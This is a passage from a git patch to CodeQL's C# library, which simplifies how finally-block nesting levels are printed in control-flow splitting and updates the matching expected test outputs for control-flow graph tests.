cflow.cs:38:5:68:5 | {...} | cflow.cs:67:9:67:17 | return ...; | return | | cflow.cs:39:9:50:9 | switch (...) {...} | cflow.cs:47:18:47:18 | 3 | no-match | -| cflow.cs:39:9:50:9 | switch (...) {...} | cflow.cs:49:17:49:22 | break; | normal [break] | +| cflow.cs:39:9:50:9 | switch (...) {...} | cflow.cs:49:17:49:22 | break; | normal [break] (0) | | cflow.cs:39:17:39:17 | access to parameter a | cflow.cs:39:17:39:17 | access to parameter a | normal | | cflow.cs:41:13:41:19 | case ...: | cflow.cs:41:18:41:18 | 1 | no-match | | cflow.cs:41:13:41:19 | case ...: | cflow.cs:42:17:42:38 | call to method WriteLine | normal | @@ -3568,8 +3572,8 @@ | cflow.cs:48:17:48:39 | ...; | cflow.cs:48:17:48:38 | call to method WriteLine | normal | | cflow.cs:48:35:48:37 | "3" | cflow.cs:48:35:48:37 | "3" | normal | | cflow.cs:49:17:49:22 | break; | cflow.cs:49:17:49:22 | break; | break | -| cflow.cs:51:9:59:9 | switch (...) {...} | cflow.cs:55:17:55:22 | break; | normal [break] | -| cflow.cs:51:9:59:9 | switch (...) {...} | cflow.cs:58:17:58:22 | break; | normal [break] | +| cflow.cs:51:9:59:9 | switch (...) {...} | cflow.cs:55:17:55:22 | break; | normal [break] (0) | +| cflow.cs:51:9:59:9 | switch (...) {...} | cflow.cs:58:17:58:22 | break; | normal [break] (0) | | cflow.cs:51:17:51:17 | access to parameter a | cflow.cs:51:17:51:17 | access to parameter a | normal | | cflow.cs:53:13:53:20 | case ...: | cflow.cs:53:18:53:19 | 42 | no-match | | cflow.cs:53:13:53:20 | case ...: | cflow.cs:54:17:54:47 | call to method WriteLine | normal | @@ -3586,7 +3590,7 @@ | cflow.cs:58:17:58:22 | break; | cflow.cs:58:17:58:22 | break; | break | | cflow.cs:60:9:66:9 | switch (...) {...} | cflow.cs:62:18:62:18 | 0 | no-match | | cflow.cs:60:9:66:9 | switch (...) {...} | cflow.cs:64:21:64:55 | throw ...; | throw(NullReferenceException) | -| cflow.cs:60:9:66:9 | switch (...) {...} | cflow.cs:65:17:65:22 | break; | normal [break] | +| cflow.cs:60:9:66:9 | switch (...) {...} | cflow.cs:65:17:65:22 | break; | normal [break] (0) | | cflow.cs:60:17:60:32 | call to method Parse | cflow.cs:60:17:60:32 | call to method Parse | normal | | cflow.cs:60:27:60:31 | access to field Field | cflow.cs:60:27:60:31 | access to field Field | normal | | cflow.cs:60:27:60:31 | this access | cflow.cs:60:27:60:31 | this access | normal | @@ -3791,7 +3795,7 @@ | cflow.cs:150:13:150:32 | call to method WriteLine | cflow.cs:150:13:150:32 | call to method WriteLine | normal | | cflow.cs:150:13:150:33 | ...; | cflow.cs:150:13:150:32 | call to method WriteLine | normal | | cflow.cs:150:31:150:31 | access to local variable x | cflow.cs:150:31:150:31 | access to local variable x | normal | -| cflow.cs:152:9:157:9 | for (...;...;...) ... | cflow.cs:156:17:156:22 | break; | normal [break] | +| cflow.cs:152:9:157:9 | for (...;...;...) ... | cflow.cs:156:17:156:22 | break; | normal [break] (0) | | cflow.cs:152:18:152:18 | access to local variable x | cflow.cs:152:18:152:18 | access to local variable x | normal | | cflow.cs:152:18:152:20 | ...++ | cflow.cs:152:18:152:20 | ...++ | normal | | cflow.cs:153:9:157:9 | {...} | cflow.cs:155:17:155:22 | ... > ... | false | @@ -3806,7 +3810,7 @@ | cflow.cs:155:17:155:22 | ... > ... | cflow.cs:155:17:155:22 | ... > ... | true | | cflow.cs:155:21:155:22 | 20 | cflow.cs:155:21:155:22 | 20 | normal | | cflow.cs:156:17:156:22 | break; | cflow.cs:156:17:156:22 | break; | break | -| cflow.cs:159:9:165:9 | for (...;...;...) ... | cflow.cs:164:17:164:22 | break; | normal [break] | +| cflow.cs:159:9:165:9 | for (...;...;...) ... | cflow.cs:164:17:164:22 | break; | normal [break] (0) | | cflow.cs:160:9:165:9 | {...} | cflow.cs:163:17:163:22 | ... > ... | false | | cflow.cs:160:9:165:9 | {...} | cflow.cs:164:17:164:22 | break; | break | | cflow.cs:161:13:161:32 | call to method WriteLine | cflow.cs:161:13:161:32 | call to method WriteLine | normal | @@ -3967,9 +3971,9 @@ | cflow.cs:202:13:204:13 | {...} | cflow.cs:203:17:203:38 | throw ...; | throw(Exception) | | cflow.cs:203:17:203:38 | throw ...; | cflow.cs:203:17:203:38 | throw ...; | throw(Exception) | | cflow.cs:203:23:203:37 | object creation of type Exception | cflow.cs:203:23:203:37 | object creation of type Exception | normal | -| cflow.cs:209:5:222:5 | {...} | cflow.cs:219:17:219:22 | break; | normal [break] | +| cflow.cs:209:5:222:5 | {...} | cflow.cs:219:17:219:22 | break; | normal [break] (0) | | cflow.cs:209:5:222:5 | {...} | cflow.cs:221:18:221:34 | ... < ... | false | -| cflow.cs:210:9:221:36 | do ... while (...); | cflow.cs:219:17:219:22 | break; | normal [break] | +| cflow.cs:210:9:221:36 | do ... while (...); | cflow.cs:219:17:219:22 | break; | normal [break] (0) | | cflow.cs:210:9:221:36 | do ... while (...); | cflow.cs:221:18:221:34 | ... < ... | false | | cflow.cs:211:9:221:9 | {...} | cflow.cs:215:17:215:25 | continue; | continue | | cflow.cs:211:9:221:9 | {...} | cflow.cs:217:17:217:32 | ... < ... | false | @@ -4010,9 +4014,9 @@ | cflow.cs:221:18:221:34 | ... < ... | cflow.cs:221:18:221:34 | ... < ... | true | | cflow.cs:221:33:221:34 | 10 | cflow.cs:221:33:221:34 | 10 | normal | | cflow.cs:225:5:238:5 | {...} | cflow.cs:226:9:237:9 | foreach (... ... in ...) ... | empty | -| cflow.cs:225:5:238:5 | {...} | cflow.cs:235:17:235:22 | break; | normal [break] | +| cflow.cs:225:5:238:5 | {...} | cflow.cs:235:17:235:22 | break; | normal [break] (0) | | cflow.cs:226:9:237:9 | foreach (... ... in ...) ... | cflow.cs:226:9:237:9 | foreach (... ... in ...) ... | empty | -| cflow.cs:226:9:237:9 | foreach (... ... in ...) ... | cflow.cs:235:17:235:22 | break; | normal [break] | +| cflow.cs:226:9:237:9 | foreach (... ... in ...) ... | cflow.cs:235:17:235:22 | break; | normal [break] (0) | | cflow.cs:226:22:226:22 | String x | cflow.cs:226:22:226:22 | String x | normal | | cflow.cs:226:27:226:64 | call to method Repeat | cflow.cs:226:27:226:64 | call to method Repeat | normal | | cflow.cs:226:57:226:59 | "a" | cflow.cs:226:57:226:59 | "a" | normal | @@ -4050,9 +4054,9 @@ | cflow.cs:234:13:236:13 | {...} | cflow.cs:235:17:235:22 | break; | break | | cflow.cs:235:17:235:22 | break; | cflow.cs:235:17:235:22 | break; | break | | cflow.cs:241:5:259:5 | {...} | cflow.cs:244:31:244:41 | goto ...; | goto(Label) | -| cflow.cs:241:5:259:5 | {...} | cflow.cs:252:17:252:22 | break; | normal [break] | +| cflow.cs:241:5:259:5 | {...} | cflow.cs:252:17:252:22 | break; | normal [break] (0) | | cflow.cs:241:5:259:5 | {...} | cflow.cs:254:17:254:27 | goto ...; | goto(Label) | -| cflow.cs:241:5:259:5 | {...} | cflow.cs:257:17:257:22 | break; | normal [break] | +| cflow.cs:241:5:259:5 | {...} | cflow.cs:257:17:257:22 | break; | normal [break] (0) | | cflow.cs:242:9:242:13 | Label: | cflow.cs:242:9:242:13 | Label: | normal | | cflow.cs:242:16:242:45 | if (...) ... | cflow.cs:242:20:242:40 | !... | false | | cflow.cs:242:16:242:45 | if (...) ... | cflow.cs:242:43:242:45 | {...} | normal | @@ -4076,9 +4080,9 @@ | cflow.cs:244:13:244:28 | ... > ... | cflow.cs:244:13:244:28 | ... > ... | true | | cflow.cs:244:28:244:28 | 0 | cflow.cs:244:28:244:28 | 0 | normal | | cflow.cs:244:31:244:41 | goto ...; | cflow.cs:244:31:244:41 | goto ...; | goto(Label) | -| cflow.cs:246:9:258:9 | switch (...) {...} | cflow.cs:252:17:252:22 | break; | normal [break] | +| cflow.cs:246:9:258:9 | switch (...) {...} | cflow.cs:252:17:252:22 | break; | normal [break] (0) | | cflow.cs:246:9:258:9 | switch (...) {...} | cflow.cs:254:17:254:27 | goto ...; | goto(Label) | -| cflow.cs:246:9:258:9 | switch (...) {...} | cflow.cs:257:17:257:22 | break; | normal [break] | +| cflow.cs:246:9:258:9 | switch (...) {...} | cflow.cs:257:17:257:22 | break; | normal [break] (0) | | cflow.cs:246:17:246:21 | access to field Field | cflow.cs:246:17:246:21 | access to field Field | normal | | cflow.cs:246:17:246:21 | this access | cflow.cs:246:17:246:21 | this access | normal | | cflow.cs:246:17:246:28 | access to property Length | cflow.cs:246:17:246:28 | access to property Length | normal | @@ -4108,9 +4112,9 @@ | cflow.cs:256:35:256:35 | 0 | cflow.cs:256:35:256:35 | 0 | normal | | cflow.cs:257:17:257:22 | break; | cflow.cs:257:17:257:22 | break; | break | | cflow.cs:262:5:277:5 | {...} | cflow.cs:275:13:275:41 | call to method WriteLine | normal | -| cflow.cs:262:5:277:5 | {...} | cflow.cs:275:13:275:41 | call to method WriteLine | return [normal] | -| cflow.cs:262:5:277:5 | {...} | cflow.cs:275:13:275:41 | call to method WriteLine | throw(Exception) [normal] | -| cflow.cs:262:5:277:5 | {...} | cflow.cs:275:13:275:41 | call to method WriteLine | throw(OutOfMemoryException) [normal] | +| cflow.cs:262:5:277:5 | {...} | cflow.cs:275:13:275:41 | call to method WriteLine | return [normal] (0) | +| cflow.cs:262:5:277:5 | {...} | cflow.cs:275:13:275:41 | call to method WriteLine | throw(Exception) [normal] (0) | +| cflow.cs:262:5:277:5 | {...} | cflow.cs:275:13:275:41 | call to method WriteLine | throw(OutOfMemoryException) [normal] (0) | | cflow.cs:263:9:263:23 | yield return ...; | cflow.cs:263:9:263:23 | yield return ...; | normal | | cflow.cs:263:22:263:22 | 0 | cflow.cs:263:22:263:22 | 0 | normal | | cflow.cs:264:9:267:9 | for (...;...;...) ... | cflow.cs:264:25:264:30 | ... < ... | false | @@ -4126,9 +4130,9 @@ | cflow.cs:266:13:266:27 | yield return ...; | cflow.cs:266:13:266:27 | yield return ...; | normal | | cflow.cs:266:26:266:26 | access to local variable i | cflow.cs:266:26:266:26 | access to local variable i | normal | | cflow.cs:268:9:276:9 | try {...} ... | cflow.cs:275:13:275:41 | call to method WriteLine | normal | -| cflow.cs:268:9:276:9 | try {...} ... | cflow.cs:275:13:275:41 | call to method WriteLine | return [normal] | -| cflow.cs:268:9:276:9 | try {...} ... | cflow.cs:275:13:275:41 | call to method WriteLine | throw(Exception) [normal] | -| cflow.cs:268:9:276:9 | try {...} ... | cflow.cs:275:13:275:41 | call to method WriteLine | throw(OutOfMemoryException) [normal] | +| cflow.cs:268:9:276:9 | try {...} ... | cflow.cs:275:13:275:41 | call to method WriteLine | return [normal] (0) | +| cflow.cs:268:9:276:9 | try {...} ... | cflow.cs:275:13:275:41 | call to method WriteLine | throw(Exception) [normal] (0) | +| cflow.cs:268:9:276:9 | try {...} ... | cflow.cs:275:13:275:41 | call to method WriteLine | throw(OutOfMemoryException) [normal] (0) | | cflow.cs:269:9:272:9 | {...} | cflow.cs:270:13:270:24 | yield break; | return | | cflow.cs:269:9:272:9 | {...} | cflow.cs:271:13:271:42 | call to method WriteLine | normal | | cflow.cs:269:9:272:9 | {...} | cflow.cs:271:13:271:42 | call to method WriteLine | throw(Exception) | diff --git a/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected b/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected index 97189409408..e3dbcd54fe5 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected @@ -2680,8 +2680,10 @@ | Finally.cs:251:21:251:54 | [finally(2): exception(ExceptionA)] call to method WriteLine | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | semmle.label | exception(ExceptionA) | | Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(Exception)] call to method WriteLine | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | semmle.label | exception(Exception) | | Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(ExceptionA)] call to method WriteLine | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | semmle.label | exception(ExceptionA) | +| Finally.cs:251:21:251:54 | [finally: exception(Exception)] call to method WriteLine | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | semmle.label | exception(Exception) | | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(Exception)] call to method WriteLine | Finally.cs:257:9:259:9 | [finally: exception(Exception)] {...} | semmle.label | exception(Exception) | | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] call to method WriteLine | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | semmle.label | exception(ExceptionA) | +| Finally.cs:251:21:251:54 | [finally: exception(ExceptionA)] call to method WriteLine | Finally.cs:257:9:259:9 | [finally: exception(ExceptionA)] {...} | semmle.label | exception(ExceptionA) | | Finally.cs:251:21:251:54 | call to method WriteLine | Finally.cs:254:13:254:45 | ...; | semmle.label | successor | | Finally.cs:251:21:251:55 | ...; | Finally.cs:251:39:251:53 | "Inner finally" | semmle.label | successor | | Finally.cs:251:21:251:55 | [finally(2): exception(Exception)] ...; | Finally.cs:251:39:251:53 | [finally(2): exception(Exception)] "Inner finally" | semmle.label | successor | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Nodes.ql b/csharp/ql/test/library-tests/controlflow/graph/Nodes.ql index 9ffd6f48cba..b391aaa3259 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Nodes.ql +++ b/csharp/ql/test/library-tests/controlflow/graph/Nodes.ql @@ -16,9 +16,7 @@ class MyFinallySplitControlFlowNode extends ElementNode { ) } - TryStmt getTryStmt() { - this.getElement() = Splitting::FinallySplitting::getAFinallyDescendant(result) - } + Statements::TryStmtTree getTryStmt() { this.getElement() = result.getAFinallyDescendant() } } query predicate finallyNode(MyFinallySplitControlFlowNode f, TryStmt try) { try = f.getTryStmt() } From 3531dde0329ab504d87d5e3503e516735a6e5f3b Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Sat, 5 Dec 2020 20:13:11 +0100 Subject: [PATCH 0155/1241] C#: Simplify `FinallySplit::toString()` --- .../csharp/controlflow/internal/Splitting.qll | 2 +- .../controlflow/graph/BasicBlock.expected | 44 +- .../controlflow/graph/Condition.expected | 106 ++-- .../controlflow/graph/Dominance.expected | 462 +++++++++--------- .../graph/EnclosingCallable.expected | 172 +++---- .../controlflow/graph/NodeGraph.expected | 192 ++++---- .../controlflow/graph/Nodes.expected | 140 +++--- 7 files changed, 559 insertions(+), 559 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/internal/Splitting.qll b/csharp/ql/src/semmle/code/csharp/controlflow/internal/Splitting.qll index 65e6363a81b..ec52d38d9e6 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/internal/Splitting.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/internal/Splitting.qll @@ -693,7 +693,7 @@ module FinallySplitting { then result = "" else if nestLevel > 0 - then result = "finally(" + (nestLevel + 1) + "): " + type.toString() + then result = "finally(" + nestLevel + "): " + type.toString() else result = "finally: " + type.toString() } } diff --git a/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected b/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected index d6e757af5de..47ab064fe76 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/BasicBlock.expected @@ -479,12 +479,12 @@ | Finally.cs:93:31:93:45 | [finally: continue] object creation of type Exception | Finally.cs:93:31:93:45 | [finally: continue] object creation of type Exception | 1 | | Finally.cs:93:31:93:45 | [finally: return] object creation of type Exception | Finally.cs:93:31:93:45 | [finally: return] object creation of type Exception | 1 | | Finally.cs:93:31:93:45 | object creation of type Exception | Finally.cs:93:31:93:45 | object creation of type Exception | 1 | -| Finally.cs:96:17:98:17 | [finally(2): exception(Exception)] {...} | Finally.cs:97:21:97:23 | [finally(2): exception(Exception)] ...-- | 4 | -| Finally.cs:96:17:98:17 | [finally: break, finally(2): exception(Exception)] {...} | Finally.cs:97:21:97:23 | [finally: break, finally(2): exception(Exception)] ...-- | 4 | +| Finally.cs:96:17:98:17 | [finally(1): exception(Exception)] {...} | Finally.cs:97:21:97:23 | [finally(1): exception(Exception)] ...-- | 4 | +| Finally.cs:96:17:98:17 | [finally: break, finally(1): exception(Exception)] {...} | Finally.cs:97:21:97:23 | [finally: break, finally(1): exception(Exception)] ...-- | 4 | | Finally.cs:96:17:98:17 | [finally: break] {...} | Finally.cs:97:21:97:23 | [finally: break] ...-- | 4 | -| Finally.cs:96:17:98:17 | [finally: continue, finally(2): exception(Exception)] {...} | Finally.cs:97:21:97:23 | [finally: continue, finally(2): exception(Exception)] ...-- | 4 | +| Finally.cs:96:17:98:17 | [finally: continue, finally(1): exception(Exception)] {...} | Finally.cs:97:21:97:23 | [finally: continue, finally(1): exception(Exception)] ...-- | 4 | | Finally.cs:96:17:98:17 | [finally: continue] {...} | Finally.cs:97:21:97:23 | [finally: continue] ...-- | 4 | -| Finally.cs:96:17:98:17 | [finally: return, finally(2): exception(Exception)] {...} | Finally.cs:97:21:97:23 | [finally: return, finally(2): exception(Exception)] ...-- | 4 | +| Finally.cs:96:17:98:17 | [finally: return, finally(1): exception(Exception)] {...} | Finally.cs:97:21:97:23 | [finally: return, finally(1): exception(Exception)] ...-- | 4 | | Finally.cs:96:17:98:17 | [finally: return] {...} | Finally.cs:97:21:97:23 | [finally: return] ...-- | 4 | | Finally.cs:96:17:98:17 | {...} | Finally.cs:97:21:97:23 | ...-- | 4 | | Finally.cs:103:10:103:11 | enter M5 | Finally.cs:107:17:107:21 | access to field Field | 7 | @@ -613,25 +613,25 @@ | Finally.cs:199:27:199:42 | object creation of type ExceptionA | Finally.cs:199:27:199:42 | object creation of type ExceptionA | 1 | | Finally.cs:202:9:212:9 | [finally: exception(Exception)] {...} | Finally.cs:205:21:205:22 | [finally: exception(Exception)] access to parameter b2 | 5 | | Finally.cs:202:9:212:9 | {...} | Finally.cs:205:21:205:22 | access to parameter b2 | 5 | -| Finally.cs:205:25:205:47 | [finally: exception(Exception)] throw ...; | Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(2): exception(ExceptionB)] access to parameter b3 | 4 | -| Finally.cs:205:25:205:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] access to parameter b3 | 4 | -| Finally.cs:205:25:205:47 | throw ...; | Finally.cs:209:21:209:22 | [finally(2): exception(ExceptionB)] access to parameter b3 | 4 | +| Finally.cs:205:25:205:47 | [finally: exception(Exception)] throw ...; | Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(1): exception(ExceptionB)] access to parameter b3 | 4 | +| Finally.cs:205:25:205:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] access to parameter b3 | 4 | +| Finally.cs:205:25:205:47 | throw ...; | Finally.cs:209:21:209:22 | [finally(1): exception(ExceptionB)] access to parameter b3 | 4 | | Finally.cs:205:31:205:46 | [finally: exception(Exception)] object creation of type ExceptionB | Finally.cs:205:31:205:46 | [finally: exception(Exception)] object creation of type ExceptionB | 1 | | Finally.cs:205:31:205:46 | [finally: exception(ExceptionA)] object creation of type ExceptionB | Finally.cs:205:31:205:46 | [finally: exception(ExceptionA)] object creation of type ExceptionB | 1 | | Finally.cs:205:31:205:46 | object creation of type ExceptionB | Finally.cs:205:31:205:46 | object creation of type ExceptionB | 1 | -| Finally.cs:208:13:210:13 | [finally(2): exception(Exception)] {...} | Finally.cs:209:21:209:22 | [finally(2): exception(Exception)] access to parameter b3 | 3 | -| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(2): exception(Exception)] access to parameter b3 | 3 | +| Finally.cs:208:13:210:13 | [finally(1): exception(Exception)] {...} | Finally.cs:209:21:209:22 | [finally(1): exception(Exception)] access to parameter b3 | 3 | +| Finally.cs:208:13:210:13 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | Finally.cs:209:21:209:22 | [finally: exception(Exception), finally(1): exception(Exception)] access to parameter b3 | 3 | | Finally.cs:208:13:210:13 | [finally: exception(Exception)] {...} | Finally.cs:209:21:209:22 | [finally: exception(Exception)] access to parameter b3 | 3 | -| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(2): exception(Exception)] access to parameter b3 | 3 | +| Finally.cs:208:13:210:13 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | Finally.cs:209:21:209:22 | [finally: exception(ExceptionA), finally(1): exception(Exception)] access to parameter b3 | 3 | | Finally.cs:208:13:210:13 | [finally: exception(ExceptionA)] {...} | Finally.cs:209:21:209:22 | [finally: exception(ExceptionA)] access to parameter b3 | 3 | | Finally.cs:208:13:210:13 | {...} | Finally.cs:209:21:209:22 | access to parameter b3 | 3 | -| Finally.cs:209:31:209:46 | [finally(2): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally(2): exception(Exception)] throw ...; | 2 | -| Finally.cs:209:31:209:46 | [finally(2): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally(2): exception(ExceptionB)] throw ...; | 2 | -| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(Exception), finally(2): exception(Exception)] throw ...; | 2 | -| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(2): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(Exception), finally(2): exception(ExceptionB)] throw ...; | 2 | +| Finally.cs:209:31:209:46 | [finally(1): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally(1): exception(Exception)] throw ...; | 2 | +| Finally.cs:209:31:209:46 | [finally(1): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally(1): exception(ExceptionB)] throw ...; | 2 | +| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(Exception), finally(1): exception(Exception)] throw ...; | 2 | +| Finally.cs:209:31:209:46 | [finally: exception(Exception), finally(1): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(Exception), finally(1): exception(ExceptionB)] throw ...; | 2 | | Finally.cs:209:31:209:46 | [finally: exception(Exception)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(Exception)] throw ...; | 2 | -| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(ExceptionA), finally(2): exception(Exception)] throw ...; | 2 | -| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(ExceptionA), finally(2): exception(ExceptionB)] throw ...; | 2 | +| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(Exception)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(ExceptionA), finally(1): exception(Exception)] throw ...; | 2 | +| Finally.cs:209:31:209:46 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(ExceptionA), finally(1): exception(ExceptionB)] throw ...; | 2 | | Finally.cs:209:31:209:46 | [finally: exception(ExceptionA)] object creation of type ExceptionC | Finally.cs:209:25:209:47 | [finally: exception(ExceptionA)] throw ...; | 2 | | Finally.cs:209:31:209:46 | object creation of type ExceptionC | Finally.cs:209:25:209:47 | throw ...; | 2 | | Finally.cs:211:13:211:29 | ...; | Finally.cs:195:10:195:12 | exit M10 (normal) | 9 | @@ -648,16 +648,16 @@ | Finally.cs:240:27:240:42 | object creation of type ExceptionA | Finally.cs:240:27:240:42 | object creation of type ExceptionA | 1 | | Finally.cs:243:13:253:13 | [finally: exception(Exception)] {...} | Finally.cs:246:25:246:26 | [finally: exception(Exception)] access to parameter b2 | 5 | | Finally.cs:243:13:253:13 | {...} | Finally.cs:246:25:246:26 | access to parameter b2 | 5 | -| Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(ExceptionA)] call to method WriteLine | 5 | -| Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(ExceptionA)] call to method WriteLine | 5 | -| Finally.cs:247:25:247:47 | throw ...; | Finally.cs:251:21:251:54 | [finally(2): exception(ExceptionA)] call to method WriteLine | 5 | +| Finally.cs:247:25:247:47 | [finally: exception(Exception)] throw ...; | Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(1): exception(ExceptionA)] call to method WriteLine | 5 | +| Finally.cs:247:25:247:47 | [finally: exception(ExceptionA)] throw ...; | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(1): exception(ExceptionA)] call to method WriteLine | 5 | +| Finally.cs:247:25:247:47 | throw ...; | Finally.cs:251:21:251:54 | [finally(1): exception(ExceptionA)] call to method WriteLine | 5 | | Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | Finally.cs:247:31:247:46 | [finally: exception(Exception)] object creation of type ExceptionA | 1 | | Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | Finally.cs:247:31:247:46 | [finally: exception(ExceptionA)] object creation of type ExceptionA | 1 | | Finally.cs:247:31:247:46 | object creation of type ExceptionA | Finally.cs:247:31:247:46 | object creation of type ExceptionA | 1 | -| Finally.cs:250:17:252:17 | [finally(2): exception(Exception)] {...} | Finally.cs:251:21:251:54 | [finally(2): exception(Exception)] call to method WriteLine | 4 | -| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(2): exception(Exception)] {...} | Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(2): exception(Exception)] call to method WriteLine | 4 | +| Finally.cs:250:17:252:17 | [finally(1): exception(Exception)] {...} | Finally.cs:251:21:251:54 | [finally(1): exception(Exception)] call to method WriteLine | 4 | +| Finally.cs:250:17:252:17 | [finally: exception(Exception), finally(1): exception(Exception)] {...} | Finally.cs:251:21:251:54 | [finally: exception(Exception), finally(1): exception(Exception)] call to method WriteLine | 4 | | Finally.cs:250:17:252:17 | [finally: exception(Exception)] {...} | Finally.cs:251:21:251:54 | [finally: exception(Exception)] call to method WriteLine | 4 | -| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(2): exception(Exception)] {...} | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(2): exception(Exception)] call to method WriteLine | 4 | +| Finally.cs:250:17:252:17 | [finally: exception(ExceptionA), finally(1): exception(Exception)] {...} | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA), finally(1): exception(Exception)] call to method WriteLine | 4 | | Finally.cs:250:17:252:17 | [finally: exception(ExceptionA)] {...} | Finally.cs:251:21:251:54 | [finally: exception(ExceptionA)] call to method WriteLine | 4 | | Finally.cs:250:17:252:17 | {...} | Finally.cs:254:31:254:43 | "Mid finally" | 6 | | Finally.cs:254:13:254:44 | call to method WriteLine | Finally.cs:254:13:254:44 | call to method WriteLine | 1 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Condition.expected b/csharp/ql/test/library-tests/controlflow/graph/Condition.expected index 5ce941bc471..9be08ab1041 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Condition.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/Condition.expected @@ -1363,12 +1363,12 @@ conditionBlock | Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:93:31:93:45 | [finally: continue] object creation of type Exception | true | | Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:93:31:93:45 | [finally: return] object creation of type Exception | true | | Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:93:31:93:45 | object creation of type Exception | true | -| Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:96:17:98:17 | [finally(2): exception(Exception)] {...} | true | -| Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:96:17:98:17 | [finally: break, finally(2): exception(Exception)] {...} | true | +| Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:96:17:98:17 | [finally(1): exception(Exception)] {...} | true | +| Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:96:17:98:17 | [finally: break, finally(1): exception(Exception)] {...} | true | | Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:96:17:98:17 | [finally: break] {...} | true | -| Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:96:17:98:17 | [finally: continue, finally(2): exception(Exception)] {...} | true | +| Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:96:17:98:17 | [finally: continue, finally(1): exception(Exception)] {...} | true | | Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:96:17:98:17 | [finally: continue] {...} | true | -| Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:96:17:98:17 | [finally: return, finally(2): exception(Exception)] {...} | true | +| Finally.cs:77:16:77:16 | access to local variable i | Finally.cs:96:17:98:17 | [finally: return, finally(1): exception(Exception)] {...} | true | | Finally.cs:77:16:77:16 | access to local 